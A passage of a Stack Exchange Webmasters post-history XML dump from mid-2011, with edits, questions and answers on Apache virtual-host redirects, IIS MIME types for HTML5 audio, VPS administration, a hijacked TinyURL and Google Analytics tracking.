`bananas.co.uk`).&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**SECOND:**&#xD;&#xA;&#xD;&#xA;The `RewriteRule` URL will include leading slash if declared in server config / virtual host context. If this rewrite rule would be declared in .htaccess it would work fine, but here (inside VirtualHost declaration) you need to remove slash after domain name in `RewriteRule` target. That is why you are having double slash after domain name on redirect.&#xD;&#xA;&#xD;&#xA;You can also speed up host matching a bit by replacing relatively expensive regex by simple string comparison: `!^www\.bananas\.co\.uk$` =&gt; `!=www.bananas.co.uk`.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;    NameVirtualHost *:80&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;       ServerName www.apples.co.uk&#xD;&#xA;       ServerAlias apples.co.uk&#xD;&#xA;       DocumentRoot /var/www/apples.co.uk&#xD;&#xA;       RewriteEngine On&#xD;&#xA;       RewriteCond %{HTTP_HOST} !=www.apples.co.uk [NC]&#xD;&#xA;       RewriteRule ^(.*)$ http://www.apples.co.uk$1 [L,R=301]&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;       ServerName www.bananas.co.uk&#xD;&#xA;       ServerAlias bananas.co.uk&#xD;&#xA;       ServerAlias *.bananas.co.uk&#xD;&#xA;       DocumentRoot /var/www/bananas.co.uk&#xD;&#xA;       RewriteEngine On&#xD;&#xA;       RewriteCond %{HTTP_HOST} !=www.bananas.co.uk [NC]&#xD;&#xA;       RewriteRule ^(.*)$ http://www.bananas.co.uk$1 [L,R=301]&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&gt; I guess the first problem is caused by the default server setting. How&#xD;&#xA;&gt; do I remove that? Does there need to be a default?&#xD;&#xA;&#xD;&#xA;Create some VirtualHost for some fake domain name .. and place it first (before any other `&lt;VirtualHost&gt;` declarations) -- then you will see Apache's error page that domain name is unknown when such unknown domain name will be requested." />
  <row Id="42420" PostHistoryTypeId="25" PostId="17604" RevisionGUID="843d09ca-8a31-4afc-87a9-211f7aab41ad" CreationDate="2011-07-31T09:33:57.200" Comment="http://twitter.com/#!/StackWebmasters/status/97600875027120128" />
  <row Id="42421" PostHistoryTypeId="2" PostId="17607" RevisionGUID="d2275872-c642-43d2-9f2f-961d6151cc59" CreationDate="2011-07-31T09:59:53.290" UserId="9297" Text="I have a VPS server running Ubuntu OS and also have shell access to my server. I wonder is there any way to connect to Ubuntu desktop and see its UI from windows using remote desktop tools such as TeamViewer or what ever apps?&#xD;&#xA;&#xD;&#xA;Is that possible or I have to deal with my server using just command line?&#xD;&#xA;" />
  <row Id="42422" PostHistoryTypeId="1" PostId="17607" RevisionGUID="d2275872-c642-43d2-9f2f-961d6151cc59" CreationDate="2011-07-31T09:59:53.290" UserId="9297" Text="Remote desktop to Ubuntu" />
  <row Id="42423" PostHistoryTypeId="3" PostId="17607" RevisionGUID="d2275872-c642-43d2-9f2f-961d6151cc59" CreationDate="2011-07-31T09:59:53.290" UserId="9297" Text="&lt;vps&gt;&lt;ubuntu&gt;" />
  <row Id="42424" PostHistoryTypeId="5" PostId="17606" RevisionGUID="9b007368-cac7-4b05-a2e8-9297799678c2" CreationDate="2011-07-31T10:09:06.057" UserId="8354" Comment="deleted 29 characters in body" Text="**FIRST:**&#xD;&#xA;&#xD;&#xA;1. First defined VirtualHost will be used as catch all for unknown domain names.&#xD;&#xA;&#xD;&#xA;2. Apache does not know about `apples.co.uk` -- it only knows about `www.apples.co.uk`. So it uses first Virtual Host to serve `apples.co.uk`. Redirect will work OK here.&#xD;&#xA;&#xD;&#xA;3. Apache does not know about `bananas.co.uk` -- it only knows about `www.bananas.co.uk`. So it uses first Virtual Host to serve `bananas.co.uk` .. which is `www.apples.co.uk`. Therefore it will be redirected to `www.apples.co.uk`.&#xD;&#xA;&#xD;&#xA;**To solve the above issue:** Add `ServerAlias apples.co.uk` line inside first virtual host and `ServerAlias bananas.co.uk` into second one. If you want to catch ANY subdomain as well -- add this line as well: `ServerAlias *.apples.co.uk` (the same for `bananas.co.uk`).&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**SECOND:**&#xD;&#xA;&#xD;&#xA;The `RewriteRule` URL will include leading slash if declared in server config / virtual host context. If this rewrite rule would be declared in .htaccess it would work fine, but here (inside VirtualHost declaration) you **need to remove slash after domain name** in `RewriteRule` target. That is why you are having double slash after domain name on redirect.&#xD;&#xA;&#xD;&#xA;You can also speed up host matching a bit by replacing relatively expensive regex by simple string comparison: `!^www\.bananas\.co\.uk$` =&gt; `!=www.bananas.co.uk`.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;    NameVirtualHost *:80&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;       ServerName www.apples.co.uk&#xD;&#xA;       ServerAlias apples.co.uk&#xD;&#xA;       DocumentRoot /var/www/apples.co.uk&#xD;&#xA;       RewriteEngine On&#xD;&#xA;       RewriteCond %{HTTP_HOST} !=www.apples.co.uk [NC]&#xD;&#xA;       RewriteRule ^(.*)$ http://www.apples.co.uk$1 [L,R=301]&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;       ServerName www.bananas.co.uk&#xD;&#xA;       ServerAlias bananas.co.uk&#xD;&#xA;       ServerAlias *.bananas.co.uk&#xD;&#xA;       DocumentRoot /var/www/bananas.co.uk&#xD;&#xA;       RewriteEngine On&#xD;&#xA;       RewriteCond %{HTTP_HOST} !=www.bananas.co.uk [NC]&#xD;&#xA;       RewriteRule ^(.*)$ http://www.bananas.co.uk$1 [L,R=301]&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&gt; I guess the first problem is caused by the default server setting. How&#xD;&#xA;&gt; do I remove that? Does there need to be a default?&#xD;&#xA;&#xD;&#xA;Create VirtualHost for some fake domain name .. and place it first (before any other `&lt;VirtualHost&gt;` declarations) -- then you will see Apache's error page when such unknown domain name will be requested." />
  <row Id="42425" PostHistoryTypeId="2" PostId="17608" RevisionGUID="2972ef3b-7b85-4cc4-8a7c-fa1bbdc91366" CreationDate="2011-07-31T10:18:31.073" UserId="8354" Text="I'm 100% positive (OK - 99.999999%) that there is no GUI running on your Ubuntu VPS -- no point to waste resources for something that never will be used -- everything can be managed via command line.&#xD;&#xA;&#xD;&#xA;If you want to use tools like TeamViewer/VNC server, you will have to install GUI first (KDE/Gnome/etc) which will eat extra RAM/CPU which you, most likely, have limited amount. Even if it can work without GUI -- you still will end up with console only -- pure SSH connection will be faster anyway.&#xD;&#xA;&#xD;&#xA;So yeah -- console is the way to go." />
  <row Id="42426" PostHistoryTypeId="25" PostId="17518" RevisionGUID="8ac9743c-1808-4c61-ab42-cf07e9c03b0f" CreationDate="2011-07-31T12:33:56.697" Comment="http://twitter.com/#!/StackWebmasters/status/97646173275426817" />
  <row Id="42427" PostHistoryTypeId="17" PostId="17609" RevisionGUID="e49459d7-a1a9-451b-a8af-eb37a6302621" CreationDate="2011-07-31T13:01:59.233" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/17731/publishing-a-web-application" Text="" />
  <row Id="42428" PostHistoryTypeId="2" PostId="17609" RevisionGUID="ec4397b3-504e-4437-ac28-65f0e571675d" CreationDate="2011-07-31T07:40:55.140" UserId="9286" Text="I just purchased and set a [Linode][1] VPS. I didn't made nothing more.&#xD;&#xA;&#xD;&#xA;Usually I always chosen, set and purchased a *domain name*, but on Linode it didn't ask for that (in the case sorry for my ignorance in this matter...). Now, what I have to do to publish my web application?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linode.com/" />
  <row Id="42429" PostHistoryTypeId="1" PostId="17609" RevisionGUID="ec4397b3-504e-4437-ac28-65f0e571675d" CreationDate="2011-07-31T07:40:55.140" UserId="9286" Text="Publishing a web application" />
  <row Id="42430" PostHistoryTypeId="3" PostId="17609" RevisionGUID="ec4397b3-504e-4437-ac28-65f0e571675d" CreationDate="2011-07-31T07:40:55.140" UserId="9286" Text="&lt;websites&gt;&lt;web&gt;&lt;domain&gt;&lt;application&gt;&lt;publishing&gt;" />
  <row Id="42431" PostHistoryTypeId="5" PostId="17609" RevisionGUID="99b410f2-13f0-4a94-93b0-85caff94a87a" CreationDate="2011-07-31T13:48:03.827" UserId="1253" Comment="modified tags, improved question and text" Text="I just purchased and set up a [Linode][1] VPS. Normally I purchase a new domain name and set it up with my hosting but on Linode didn't ask for that. What I have to do to publish my web application to Linode?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linode.com/" />
  <row Id="42432" PostHistoryTypeId="4" PostId="17609" RevisionGUID="99b410f2-13f0-4a94-93b0-85caff94a87a" CreationDate="2011-07-31T13:48:03.827" UserId="1253" Comment="modified tags, improved question and text" Text="Publishing a web application with Linode" />
  <row Id="42433" PostHistoryTypeId="6" PostId="17609" RevisionGUID="99b410f2-13f0-4a94-93b0-85caff94a87a" CreationDate="2011-07-31T13:48:03.827" UserId="1253" Comment="modified tags, improved question and text" Text="&lt;publishing&gt;&lt;linode&gt;" />
  <row Id="42434" PostHistoryTypeId="5" PostId="17604" RevisionGUID="4b8019e4-c7f6-474e-a071-62b53a5dcee5" CreationDate="2011-07-31T13:49:00.137" UserId="8354" Comment="improved formatting" Text="Pasting HTML in this textbox doesn't work, kind of ironic given the topic of the site, feel free to tell how to do it if there is a way - so I replaced all of the less than and more than symbols with &quot;|&quot;.Enjoy:&#xD;&#xA;&#xD;&#xA;    &lt;audio id=&quot;audioMusic&quot; loop=&quot;loop&quot;&gt;&#xD;&#xA;      &lt;source src=&quot;/Music/behind_you.ogg&quot; type=&quot;audio/ogg&quot; /&gt;&#xD;&#xA;      &lt;source src=&quot;/Music/behind_you.mp3&quot; type=&quot;audio/mp3&quot; /&gt; &#xD;&#xA;    &lt;/audio&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;       var a = document.getElementById(&quot;audioMusic&quot;);&#xD;&#xA;       a.play();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;**Problem / Question:**&#xD;&#xA;This, along with countless other ways of controlling audio via JavaScript, works fine in Chrome, it does not work in Firefox or IE. Why? How can it be changed?  &#xD;&#xA;&#xD;&#xA;By the way: Yes, I know I can use the `autoplay` attribute, that's not what I am looking for because I need to be able to turn it on and off and adjust volume via JavaScript. Yes, I know that background music is annoying." />
  <row Id="42435" PostHistoryTypeId="4" PostId="17604" RevisionGUID="4b8019e4-c7f6-474e-a071-62b53a5dcee5" CreationDate="2011-07-31T13:49:00.137" UserId="8354" Comment="improved formatting" Text="JavaScript control of &lt;audio&gt; not working in Firefox, works in Chrome" />
  <row Id="42436" PostHistoryTypeId="24" PostId="17604" RevisionGUID="4b8019e4-c7f6-474e-a071-62b53a5dcee5" CreationDate="2011-07-31T13:49:00.137" Comment="Proposed by 8354 approved by 1253 edit id of 466" />
  <row Id="42437" PostHistoryTypeId="6" PostId="13169" RevisionGUID="8b0185e2-72a0-45ea-8028-508e08851f88" CreationDate="2011-07-31T13:55:00.667" UserId="1253" Comment="modified tags" Text="&lt;vps&gt;&lt;linode&gt;" />
  <row Id="42438" PostHistoryTypeId="25" PostId="17607" RevisionGUID="e0f31899-34f7-43ca-a84a-77ebfe8266a0" CreationDate="2011-07-31T15:33:56.853" Comment="http://twitter.com/#!/StackWebmasters/status/97691471511171072" />
  <row Id="42439" PostHistoryTypeId="5" PostId="12471" RevisionGUID="69448598-5efe-4e21-b3c7-603b17d6f6e3" CreationDate="2011-07-31T16:31:07.390" UserId="3824" Comment="Copy edited." Text="I have a domain-name, and I want to host the website on two servers. One server is located in Europe and one in Asia. How can you route European people to the European server and Asian people to the Asian server? &#xD;&#xA;&#xD;&#xA;I want to do this, because if you access a European website in Asia it's very slow and visa versa. I know/think some big websites are doing this too (like Google, Facebook, etc.).&#xD;&#xA;&#xD;&#xA;Is it possible to do this? Or is there another way to manage this problem? And I'm not thinking of two domainnames.&#xD;&#xA;" />
  <row Id="42440" PostHistoryTypeId="4" PostId="12471" RevisionGUID="69448598-5efe-4e21-b3c7-603b17d6f6e3" CreationDate="2011-07-31T16:31:07.390" UserId="3824" Comment="Copy edited." Text="One domain, multiple IP addresses" />
  <row Id="42441" PostHistoryTypeId="24" PostId="12471" RevisionGUID="69448598-5efe-4e21-b3c7-603b17d6f6e3" CreationDate="2011-07-31T16:31:07.390" Comment="Proposed by 3824 approved by 1253 edit id of 467" />
  <row Id="42442" PostHistoryTypeId="5" PostId="17604" RevisionGUID="cd0b7688-ff72-4746-ac0f-24cec98aa777" CreationDate="2011-07-31T18:19:18.273" UserId="1253" Comment="removed disclaimer about code formatting" Text="    &lt;audio id=&quot;audioMusic&quot; loop=&quot;loop&quot;&gt;&#xD;&#xA;      &lt;source src=&quot;/Music/behind_you.ogg&quot; type=&quot;audio/ogg&quot; /&gt;&#xD;&#xA;      &lt;source src=&quot;/Music/behind_you.mp3&quot; type=&quot;audio/mp3&quot; /&gt; &#xD;&#xA;    &lt;/audio&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;       var a = document.getElementById(&quot;audioMusic&quot;);&#xD;&#xA;       a.play();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;**Problem / Question:**&#xD;&#xA;This, along with countless other ways of controlling audio via JavaScript, works fine in Chrome, it does not work in Firefox or IE. Why? How can it be changed?  &#xD;&#xA;&#xD;&#xA;By the way: Yes, I know I can use the `autoplay` attribute, that's not what I am looking for because I need to be able to turn it on and off and adjust volume via JavaScript. Yes, I know that background music is annoying." />
  <row Id="42443" PostHistoryTypeId="2" PostId="17610" RevisionGUID="689b7f9f-eb5d-4a34-946e-09f7f1ff7f00" CreationDate="2011-07-31T18:21:22.930" UserId="8354" Text="If you inspect the request in any HTTP Debugger or HTTP Monitor (like &quot;Net&quot; panel in Firebug, for example, or similar tool for any other browser) you most likely will see that request to `.ogg` file returned **404 error** *despite the fact that file DOES exist*.&#xD;&#xA;&#xD;&#xA;**The reason is** -- IIS/IIS Express and maybe the built-in development web server in Visual Studio (Cassini) [do not serve static files if file extension is unknown](http://support.microsoft.com/kb/326965) (that is done on purpose for security reasons).&#xD;&#xA;&#xD;&#xA;If your web server is **IIS 7.x or IIS Express** (which you can easily install if you are on Windows Vista / 7 / 2008 Server), then you need to add mime type for .ogg extension (which is &quot;audio/ogg&quot;). You can easily do it via IIS Manager -- see [related question](http://stackoverflow.com/questions/179315/downloading-docx-from-ie-setting-mime-types-in-iis) for exact steps. If you cannot do it using GUI -- then do it via **web.config** file in website root folder. For example:&#xD;&#xA;&#xD;&#xA;    &lt;configuration&gt;&#xD;&#xA;        &lt;system.webServer&gt;&#xD;&#xA;            &lt;staticContent&gt;&#xD;&#xA;                &lt;mimeMap fileExtension=&quot;.m4v&quot; mimeType=&quot;video/m4v&quot; /&gt;&#xD;&#xA;                &lt;mimeMap fileExtension=&quot;.ogg&quot; mimeType=&quot;audio/ogg&quot; /&gt;&#xD;&#xA;                &lt;mimeMap fileExtension=&quot;.oga&quot; mimeType=&quot;audio/ogg&quot; /&gt;&#xD;&#xA;                &lt;mimeMap fileExtension=&quot;.ogv&quot; mimeType=&quot;video/ogg&quot; /&gt;&#xD;&#xA;                &lt;mimeMap fileExtension=&quot;.webm&quot; mimeType=&quot;video/webm&quot;/&gt;&#xD;&#xA;            &lt;/staticContent&gt;&#xD;&#xA;        &lt;/system.webServer&gt;&#xD;&#xA;    &lt;/configuration&gt;&#xD;&#xA;&#xD;&#xA;Unfortunately **the built-in development web server** in Visual Studio (Cassini) has no knowledge of `&lt;system.webServer&gt;`. Also the static file content types in Visual Studio's development web server are hard coded (check this question: http://stackoverflow.com/questions/5924647/setting-mime-types-using-the-asp-net-development-server).&#xD;&#xA;&#xD;&#xA;I was unable to find how to tell built-in web server what .ogg files are (how to add mime type).&#xD;&#xA;&#xD;&#xA;Based on the above I recommend installing and start using IIS 7.x or IIS Express instead of built-in development web server ([How to set IIS/IIS Express to be used as web server instead of built-in](http://stackoverflow.com/questions/3762621/using-iis7-to-debug-instead-of-development-server)). " />
  <row Id="42444" PostHistoryTypeId="25" PostId="17514" RevisionGUID="bbee2337-2b3f-46ae-a3f5-b5943d1c690d" CreationDate="2011-07-31T18:33:56.770" Comment="http://twitter.com/#!/StackWebmasters/status/97736770275393537" />
  <row Id="42445" PostHistoryTypeId="2" PostId="17611" RevisionGUID="78743f9f-9b61-4d9f-9c31-0076781b4124" CreationDate="2011-07-31T19:55:01.077" UserId="1240" Text="The more heavy duty the CMS (or framework) generally the more overhead you are going to see.  It is very hard to draw up a table of how much overhead per setup because as has already been mentioned there are plugins and things you can do to improve performance.&#xD;&#xA;&#xD;&#xA;I think the thing to do in this situation is **test**.  Put your static page up against a standard wordpress (or whatever) page with the same content.  If there is no noticeable difference then the CMS should probably be picked because it offers you more flexibility in the long run.&#xD;&#xA;&#xD;&#xA;Most CMS will come with something that will let you (or have easy ways to let you) export your pages as static files, so another option would be to start with the CMS and if speed or resource becomes an issue export them and host the static files (this is essentially what LazyOne mentioned with WP Super Cache)" />
  <row Id="42446" PostHistoryTypeId="2" PostId="17612" RevisionGUID="e1a12a56-449f-47fd-a135-aad5247d9607" CreationDate="2011-07-31T20:52:03.783" UserId="1240" Text="As web developers obviously we don't want to reinvent the wheel with everything we do so best practice would dictate when necessary we should use third party scripts and plugins.&#xD;&#xA;&#xD;&#xA;Recently I have found a slew of 'bad' plugins for Wordpress, which fall into two categories;&#xD;&#xA;&#xD;&#xA; 1. The plugin works fine, but isn't written using current standards.&#xD;&#xA; 2. The plugin appears to work but is just written wrong.&#xD;&#xA;&#xD;&#xA;Both plugins do what they say they will do, but in the first category you can't minify the javascript behind them because the javascript hasn't been written to conform to say jslint or any other code validation and in the second category the plugin uses potentially insecure code or incredibly inefficient code so under normal use it seems fine but under pressure seams become undone and the server gets hit with unnecessary loads.&#xD;&#xA;&#xD;&#xA;The thing I can (and will) do is rate the plugin and provide feedback, but lets say 10000 people have downloaded the plugin and never need to minify it, or need to put it under pressure, my one negative review will be a drop in the ocean.  It feels like more should be done.&#xD;&#xA;&#xD;&#xA;What else should I do as a developer and we do as an industry to ensure sloppy third party plugins get brought up to speed?" />
  <row Id="42447" PostHistoryTypeId="1" PostId="17612" RevisionGUID="e1a12a56-449f-47fd-a135-aad5247d9607" CreationDate="2011-07-31T20:52:03.783" UserId="1240" Text="How do you handle bad scripts or plugins" />
  <row Id="42448" PostHistoryTypeId="3" PostId="17612" RevisionGUID="e1a12a56-449f-47fd-a135-aad5247d9607" CreationDate="2011-07-31T20:52:03.783" UserId="1240" Text="&lt;standards&gt;&lt;plugin&gt;&lt;code-quality&gt;" />
  <row Id="42449" PostHistoryTypeId="2" PostId="17613" RevisionGUID="23497e4a-7a42-4b81-b901-46a780e506b6" CreationDate="2011-07-31T21:18:11.840" UserId="1240" Text="It is going to be impossible for someone who doesn't know your exact business needs to say for certain that MailChimp is the right service for you, but it is one hell of a good service and does everything you have said it needs to do in your question.&#xD;&#xA;&#xD;&#xA;Maybe some type of phased rollout would be the way forward, move one of your lists over to it and see how that works out, then look at moving the others across." />
  <row Id="42450" PostHistoryTypeId="2" PostId="17614" RevisionGUID="35b9fbe5-6179-4f0b-b070-2970d8f65c94" CreationDate="2011-07-31T21:33:16.383" UserId="8957" Text="Fix it !&#xD;&#xA;&#xD;&#xA;If you have the ability and the need to fix it, share the fixes with the world. or if someone else is making money off a really badly written plugin (and thus probably will make money off your fixes if you were to tell them), write a replacement, write something better. other than that there isn't much you can do about it, except for telling the developers or writing a blog post about it. " />
  <row Id="42451" PostHistoryTypeId="25" PostId="17526" RevisionGUID="e63e28b5-2869-4588-9316-0e50576e1bdd" CreationDate="2011-07-31T21:33:56.703" Comment="http://twitter.com/#!/StackWebmasters/status/97782068708245504" />
  <row Id="42458" PostHistoryTypeId="5" PostId="12501" RevisionGUID="ef28ed18-c127-48f8-82e3-5d6d79a88925" CreationDate="2011-07-31T23:26:45.550" UserId="3824" Comment="Copy edited. Dressed the naked link." Text="You can use a DNS server that returns the IP address that is closest to the requesting IP address.&#xD;&#xA;&#xD;&#xA;I have never used such a service, but the Server&amp;nbsp;Fault post *[Geo-DNS providers?][1]* discusses many providers.&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/30567/geo-dns-providers&#xD;&#xA;" />
  <row Id="42459" PostHistoryTypeId="24" PostId="12501" RevisionGUID="ef28ed18-c127-48f8-82e3-5d6d79a88925" CreationDate="2011-07-31T23:26:45.550" Comment="Proposed by 3824 approved by 1253 edit id of 468" />
  <row Id="42460" PostHistoryTypeId="25" PostId="17577" RevisionGUID="247ed0be-7244-47b3-a760-d42b329eb6ae" CreationDate="2011-08-01T00:33:56.697" Comment="http://twitter.com/#!/StackWebmasters/status/97827367304708096" />
  <row Id="42461" PostHistoryTypeId="2" PostId="17616" RevisionGUID="4a2432e0-ce91-4e65-8493-faef625433c3" CreationDate="2011-08-01T02:55:41.447" UserId="9303" Text="It seems someone has hijacked one of the TinyURLs that was sent out in the marketing communication and it now redirects users to a porn site. Is there anyway we can reclaim the TinyURL?" />
  <row Id="42462" PostHistoryTypeId="1" PostId="17616" RevisionGUID="4a2432e0-ce91-4e65-8493-faef625433c3" CreationDate="2011-08-01T02:55:41.447" UserId="9303" Text="TinyURL redirection emergency" />
  <row Id="42463" PostHistoryTypeId="3" PostId="17616" RevisionGUID="4a2432e0-ce91-4e65-8493-faef625433c3" CreationDate="2011-08-01T02:55:41.447" UserId="9303" Text="&lt;redirects&gt;" />
  <row Id="42464" PostHistoryTypeId="4" PostId="17616" RevisionGUID="517af707-7d0c-44fd-a0dc-e91fb4a09af0" CreationDate="2011-08-01T03:02:28.593" UserId="1253" Comment="modified tags, rewrote question" Text="How to reclaim a hijacked tinyurl?" />
  <row Id="42465" PostHistoryTypeId="6" PostId="17616" RevisionGUID="517af707-7d0c-44fd-a0dc-e91fb4a09af0" CreationDate="2011-08-01T03:02:28.593" UserId="1253" Comment="modified tags, rewrote question" Text="&lt;redirects&gt;&lt;tinyurl&gt;" />
  <row Id="42466" PostHistoryTypeId="25" PostId="17347" RevisionGUID="89eb577f-5ebc-4b59-b560-bdeb59ac7b4e" CreationDate="2011-08-01T03:33:56.757" Comment="http://twitter.com/#!/StackWebmasters/status/97872666345738240" />
  <row Id="42467" PostHistoryTypeId="2" PostId="17617" RevisionGUID="e11a6fd0-c32b-476f-8d77-de7cddf1d867" CreationDate="2011-08-01T04:09:24.907" UserId="4502" Text="@PeanutsMonkey You didn't really answer John's question. (At least it doesn't seem so.) I'm not sure it's even possible to &quot;take over&quot; an existing TinyURL in the way you're describing.&#xD;&#xA;&#xD;&#xA;Use [LongURL](http://longurl.org/) to find out where the tinyurl is really pointing. It'll also show you if there are subsequent redirects. So if you first see your original URL, and then the porn site, that means the redirect is happening on your end, not via TinyURL itself.&#xD;&#xA;&#xD;&#xA;For example I just created [this tinyurl](http://tinyurl.com/3du9gh) by encoding `http://apple.com/store` which apple redirects to their preferred location of `http://store.apple.com/us` and here are the [LongURL results](http://longurl.org/expand?url=http%3A%2F%2Ftinyurl.com%2F3du9gh) showing that there's even an intermediate redirect they put you through." />
  <row Id="42468" PostHistoryTypeId="5" PostId="17617" RevisionGUID="cef45379-ca43-446f-970d-04375ba675b5" CreationDate="2011-08-01T04:14:26.927" UserId="4502" Comment="added 107 characters in body" Text="@PeanutsMonkey You didn't really answer John's question. At least it doesn't seem so. You just restated that people end up at a porn site. (Maybe you're just being brief at the cost of clarity.) I'm not sure it's even possible to &quot;take over&quot; an existing TinyURL in the way you're describing.&#xD;&#xA;&#xD;&#xA;Use [LongURL](http://longurl.org/) to find out where the tinyurl is really pointing. It'll also show you if there are subsequent redirects. So if you first see your original URL, and then the porn site, that means the redirect is happening on your end, not via TinyURL itself.&#xD;&#xA;&#xD;&#xA;For example I just created [this tinyurl](http://tinyurl.com/3du9gh) by encoding `http://apple.com/store` which Apple redirects to their preferred location of `http://store.apple.com/us` and here are the [LongURL results](http://longurl.org/expand?url=http%3A%2F%2Ftinyurl.com%2F3du9gh) showing that there's even an intermediate redirect they put you through." />
  <row Id="42469" PostHistoryTypeId="2" PostId="17618" RevisionGUID="83893582-5800-4593-a590-d0b92611251d" CreationDate="2011-08-01T05:02:04.200" UserId="9304" Text="Fairly simple really, I just want people to be able to drag an image onto another image, position it where they want by dragging it around, and then when they're happy with it, click a button to save it (on my server) as a file (preferably a PDF or PNG).&#xD;&#xA;&#xD;&#xA;This may sound like a newb question, but I am not asking HOW to accomplish this, just what the best technology currently is (js, html5, something else, maybe some existing libraries ala jQuery). I have been focusing on back-end stuff for a few years and am TOTALLY out of touch with what is the best way to do this. I don't want to use Flash, I know that.&#xD;&#xA;&#xD;&#xA;When I say &quot;best&quot;, I guess I mean a method that is both cross-platform, and easy enough to learn, or preferably if there are good libraries I can adapt easily.&#xD;&#xA;&#xD;&#xA;Thoughts? Thanks!" />
  <row Id="42470" PostHistoryTypeId="1" PostId="17618" RevisionGUID="83893582-5800-4593-a590-d0b92611251d" CreationDate="2011-08-01T05:02:04.200" UserId="9304" Text="What is the best technology to let ppl drag and drop images on top of each other, then save the result?" />
  <row Id="42471" PostHistoryTypeId="3" PostId="17618" RevisionGUID="83893582-5800-4593-a590-d0b92611251d" CreationDate="2011-08-01T05:02:04.200" UserId="9304" Text="&lt;javascript&gt;&lt;html5&gt;" />
  <row Id="42472" PostHistoryTypeId="2" PostId="17619" RevisionGUID="20b7f74d-a239-4422-8b8d-0eba1ea2cf68" CreationDate="2011-08-01T06:27:03.470" UserId="1240" Text="I would say [jQuery][1] with a [PHP][2] backend.  jQuery will handle all the dragging and dropping, and PHP will handle saving the result.  There are many tutorials written on this subject for those technologies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com/&#xD;&#xA;  [2]: http://php.net/" />
  <row Id="42473" PostHistoryTypeId="25" PostId="17616" RevisionGUID="24dce192-6619-4ace-aa22-1075207683cb" CreationDate="2011-08-01T06:33:56.817" Comment="http://twitter.com/#!/StackWebmasters/status/97917965600690176" />
  <row Id="42474" PostHistoryTypeId="17" PostId="17620" RevisionGUID="96b0cf8d-0f01-47a6-9c77-4805e8d40647" CreationDate="2011-08-01T06:44:00.200" UserId="-1" Comment="from http://superuser.com/questions/317546/how-do-you-track-a-website-using-multiple-google-analytic-accounts" Text="" />
  <row Id="42475" PostHistoryTypeId="2" PostId="17620" RevisionGUID="6bb6660b-0bda-47a9-bf58-40da1d015413" CreationDate="2011-08-01T06:20:44.513" UserId="9462" UserDisplayName="Matt" Text="Suppose you have two distinct Google Analytic accounts. How are you able to send request data to both accounts on a single page load? For example, on a normal account you'd include code such as:&#xD;&#xA;&#xD;&#xA;    var _gaq = _gaq || [&quot;UA-12345678-1&quot;];&#xD;&#xA;    _gaq.push(['_setAccount', '']);&#xD;&#xA;    _gaq.push(['_setDomainName', 'none']);&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;    (function() {&#xD;&#xA;      var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;      ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;      var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;    })();&#xD;&#xA;&#xD;&#xA;Could I simply include another snippet with a different UA ID? Can I pass several UA IDs in one request? Is this even possible to accomplish? Any help would be greatly appreciated!&#xD;&#xA;" />
  <row Id="42476" PostHistoryTypeId="1" PostId="17620" RevisionGUID="6bb6660b-0bda-47a9-bf58-40da1d015413" CreationDate="2011-08-01T06:20:44.513" UserId="9462" UserDisplayName="Matt" Text="How do you track a website using multiple Google Analytic accounts?" />
  <row Id="42477" PostHistoryTypeId="3" PostId="17620" RevisionGUID="6bb6660b-0bda-47a9-bf58-40da1d015413" CreationDate="2011-08-01T06:20:44.513" UserId="9462" UserDisplayName="Matt" Text="&lt;google&gt;&lt;tracking&gt;&lt;google-analytics&gt;" />
  <row Id="42478" PostHistoryTypeId="2" PostId="17621" RevisionGUID="c6bf434e-6c9c-4e06-b198-7fc7d18ed71e" CreationDate="2011-08-01T06:59:19.203" UserId="4306" Text="You can use multiple trackers with one snippet:&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/analytics/docs/tracking/asyncUsageGuide.html#MultipleCommands" />
  <row Id="42479" PostHistoryTypeId="2" PostId="17622" RevisionGUID="cd9866c5-14fc-4f50-988a-b0f922aeb317" CreationDate="2011-08-01T07:00:50.137" UserId="2842" Text="Direct Lyrics appears at the top of these search results as a &quot;video result&quot; (next to an inviting thumbnail). But the page in question is just a page of lyrics with an embedded YouTube video.&#xD;&#xA;&#xD;&#xA;My lyrics site has embedded YouTube videos on its lyrics pages as well; how can I get my site into the video results section?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![](http://i.stack.imgur.com/mcuJT.png)" />
  <row Id="42480" PostHistoryTypeId="1" PostId="17622" RevisionGUID="cd9866c5-14fc-4f50-988a-b0f922aeb317" CreationDate="2011-08-01T07:00:50.137" UserId="2842" Text="How do I get a page on my site to appear in the &quot;video results&quot; section" />
